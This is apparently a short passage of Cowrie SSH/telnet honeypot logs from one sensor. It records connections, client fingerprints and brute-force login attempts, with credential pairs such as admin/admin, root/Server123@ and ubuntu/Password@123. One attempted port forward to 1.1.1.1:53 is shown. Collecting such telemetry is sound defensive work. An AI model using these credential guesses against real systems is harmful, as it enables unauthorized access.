{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:31:18.141387Z","src_ip":"87.251.64.176","session":"6c7168649d0b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:31:18.435973Z","src_ip":"87.251.64.176","session":"6c7168649d0b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:31:18.536006Z","session":"6c7168649d0b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:31:18.634380Z","src_ip":"87.251.64.176","session":"6c7168649d0b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:31:18.737187Z","src_ip":"87.251.64.176","session":"6c7168649d0b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"187.188.181.103","src_port":40354,"dst_ip":"159.203.135.109","dst_port":23,"session":"89d3bf092674","protocol":"telnet","message":"New connection: 187.188.181.103:40354 (159.203.135.109:23) [session: 89d3bf092674]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:31:21.037184Z"}
{"eventid":"cowrie.session.connect","src_ip":"187.188.181.103","src_port":40360,"dst_ip":"159.203.135.109","dst_port":23,"session":"e186726f0913","protocol":"telnet","message":"New connection: 187.188.181.103:40360 (159.203.135.109:23) [session: e186726f0913]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:31:23.617600Z"}
{"eventid":"cowrie.session.closed","duration":45.34236407279968,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:31:24.097753Z","src_ip":"137.184.155.248","session":"a989e6630f3f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"148.230.134.28","src_port":40152,"dst_ip":"159.203.135.109","dst_port":23,"session":"1249fba43a33","protocol":"telnet","message":"New connection: 148.230.134.28:40152 (159.203.135.109:23) [session: 1249fba43a33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:31:25.245497Z"}
{"eventid":"cowrie.session.connect","src_ip":"148.230.134.28","src_port":40160,"dst_ip":"159.203.135.109","dst_port":23,"session":"582782a04c86","protocol":"telnet","message":"New connection: 148.230.134.28:40160 (159.203.135.109:23) [session: 582782a04c86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:31:25.580977Z"}
{"eventid":"cowrie.session.closed","duration":120.00156831741333,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:31:25.770207Z","src_ip":"148.230.134.28","session":"843297a06ff9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.955525636672974,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:31:26.494594Z","src_ip":"148.230.134.28","session":"c7abe48a861d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00174832344055,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:31:26.781130Z","src_ip":"148.230.134.28","session":"df256279e652","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"148.230.134.28","src_port":40166,"dst_ip":"159.203.135.109","dst_port":23,"session":"8740156b113e","protocol":"telnet","message":"New connection: 148.230.134.28:40166 (159.203.135.109:23) [session: 8740156b113e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:31:27.343432Z"}
{"eventid":"cowrie.session.closed","duration":48.41733384132385,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:31:30.700003Z","src_ip":"137.184.155.248","session":"a38106c09a0a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.417780876159668,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:31:31.770077Z","src_ip":"148.230.134.28","session":"ae1f64ccd223","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.759382009506226,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:31:32.051838Z","src_ip":"193.109.193.85","session":"c16a8e838837","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"148.230.134.28","src_port":38580,"dst_ip":"159.203.135.109","dst_port":23,"session":"c18f42ee47f4","protocol":"telnet","message":"New connection: 148.230.134.28:38580 (159.203.135.109:23) [session: c18f42ee47f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:31:33.307840Z"}
{"eventid":"cowrie.session.connect","src_ip":"148.230.134.28","src_port":38570,"dst_ip":"159.203.135.109","dst_port":23,"session":"4f3bad7a6b6d","protocol":"telnet","message":"New connection: 148.230.134.28:38570 (159.203.135.109:23) [session: 4f3bad7a6b6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:31:33.577718Z"}
{"eventid":"cowrie.session.connect","src_ip":"41.86.34.139","src_port":48158,"dst_ip":"10.17.0.5","dst_port":22,"session":"2b8821979503","protocol":"ssh","message":"New connection: 41.86.34.139:48158 (10.17.0.5:22) [session: 2b8821979503]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:31:33.966577Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:31:33.971350Z","src_ip":"41.86.34.139","session":"2b8821979503","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:31:34.178752Z","src_ip":"41.86.34.139","session":"2b8821979503","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp_user","password":"ftp_pass","message":"login attempt [ftp_user/ftp_pass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:31:35.041212Z","src_ip":"41.86.34.139","session":"2b8821979503","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"148.230.134.28","src_port":38602,"dst_ip":"159.203.135.109","dst_port":23,"session":"1fd5499ed5b5","protocol":"telnet","message":"New connection: 148.230.134.28:38602 (159.203.135.109:23) [session: 1fd5499ed5b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:31:35.292543Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:31:36.251915Z","src_ip":"41.86.34.139","session":"2b8821979503","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"148.230.134.28","src_port":38628,"dst_ip":"159.203.135.109","dst_port":23,"session":"c757f30ba70e","protocol":"telnet","message":"New connection: 148.230.134.28:38628 (159.203.135.109:23) [session: c757f30ba70e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:31:36.277687Z"}
{"eventid":"cowrie.session.closed","duration":120.00101685523987,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:31:36.864496Z","src_ip":"148.230.134.28","session":"57383688aca2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"148.230.134.28","src_port":38614,"dst_ip":"159.203.135.109","dst_port":23,"session":"19bae5054522","protocol":"telnet","message":"New connection: 148.230.134.28:38614 (159.203.135.109:23) [session: 19bae5054522]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:31:37.293632Z"}
{"eventid":"cowrie.session.closed","duration":30.56602191925049,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:31:38.183222Z","src_ip":"148.230.134.28","session":"faac496e2360","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00118112564087,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:31:38.374710Z","src_ip":"148.230.134.28","session":"4a6b08db4d02","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.01321506500244,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:31:38.392254Z","src_ip":"148.230.134.28","session":"9b1821212cb4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"148.230.134.28","src_port":38640,"dst_ip":"159.203.135.109","dst_port":23,"session":"2af96c6487f1","protocol":"telnet","message":"New connection: 148.230.134.28:38640 (159.203.135.109:23) [session: 2af96c6487f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:31:41.333460Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.4.240.226","src_port":46560,"dst_ip":"10.17.0.5","dst_port":22,"session":"2dcd716ab5d3","protocol":"ssh","message":"New connection: 186.4.240.226:46560 (10.17.0.5:22) [session: 2dcd716ab5d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:31:45.241166Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:31:45.248222Z","src_ip":"186.4.240.226","session":"2dcd716ab5d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:31:45.333162Z","src_ip":"186.4.240.226","session":"2dcd716ab5d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"148.230.134.28","src_port":37742,"dst_ip":"159.203.135.109","dst_port":23,"session":"2b45af7f5ec5","protocol":"telnet","message":"New connection: 148.230.134.28:37742 (159.203.135.109:23) [session: 2b45af7f5ec5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:31:45.684382Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Server123@","message":"login attempt [root/Server123@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:31:45.729094Z","src_ip":"186.4.240.226","session":"2dcd716ab5d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"148.230.134.28","src_port":37730,"dst_ip":"159.203.135.109","dst_port":23,"session":"f463fa3035e0","protocol":"telnet","message":"New connection: 148.230.134.28:37730 (159.203.135.109:23) [session: f463fa3035e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:31:46.420287Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:31:46.816375Z","src_ip":"186.4.240.226","session":"2dcd716ab5d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"72.253.251.7","src_port":39948,"dst_ip":"159.203.135.109","dst_port":22,"session":"97da17995d3f","protocol":"ssh","message":"New connection: 72.253.251.7:39948 (159.203.135.109:22) [session: 97da17995d3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:31:47.081834Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:31:47.086688Z","src_ip":"72.253.251.7","session":"97da17995d3f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:31:47.204061Z","src_ip":"72.253.251.7","session":"97da17995d3f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz@WSX3edc$RFV","message":"login attempt [root/1qaz@WSX3edc$RFV] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:31:47.703969Z","src_ip":"72.253.251.7","session":"97da17995d3f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"148.230.134.28","src_port":37756,"dst_ip":"159.203.135.109","dst_port":23,"session":"9b227124483e","protocol":"telnet","message":"New connection: 148.230.134.28:37756 (159.203.135.109:23) [session: 9b227124483e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:31:47.735286Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:31:48.824524Z","src_ip":"72.253.251.7","session":"97da17995d3f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.273099899291992,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:31:48.932034Z","src_ip":"187.188.181.103","session":"06962cfcae01","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.125.94.71","src_port":36740,"dst_ip":"159.203.135.109","dst_port":22,"session":"3390b86e93af","protocol":"ssh","message":"New connection: 202.125.94.71:36740 (159.203.135.109:22) [session: 3390b86e93af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:31:52.203942Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:31:52.208531Z","src_ip":"202.125.94.71","session":"3390b86e93af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.37957453727722,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:31:52.416672Z","src_ip":"187.188.181.103","session":"89d3bf092674","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:31:52.472727Z","src_ip":"202.125.94.71","session":"3390b86e93af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Password@123","message":"login attempt [ubuntu/Password@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:31:53.562404Z","src_ip":"202.125.94.71","session":"3390b86e93af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:31:54.829332Z","src_ip":"202.125.94.71","session":"3390b86e93af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.314688205718994,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:31:54.932136Z","src_ip":"187.188.181.103","session":"e186726f0913","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"190.244.39.232","src_port":46330,"dst_ip":"10.17.0.5","dst_port":22,"session":"d9f13dc79ffc","protocol":"ssh","message":"New connection: 190.244.39.232:46330 (10.17.0.5:22) [session: d9f13dc79ffc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:31:55.792267Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:31:55.797707Z","src_ip":"190.244.39.232","session":"d9f13dc79ffc","protocol":"ssh"}
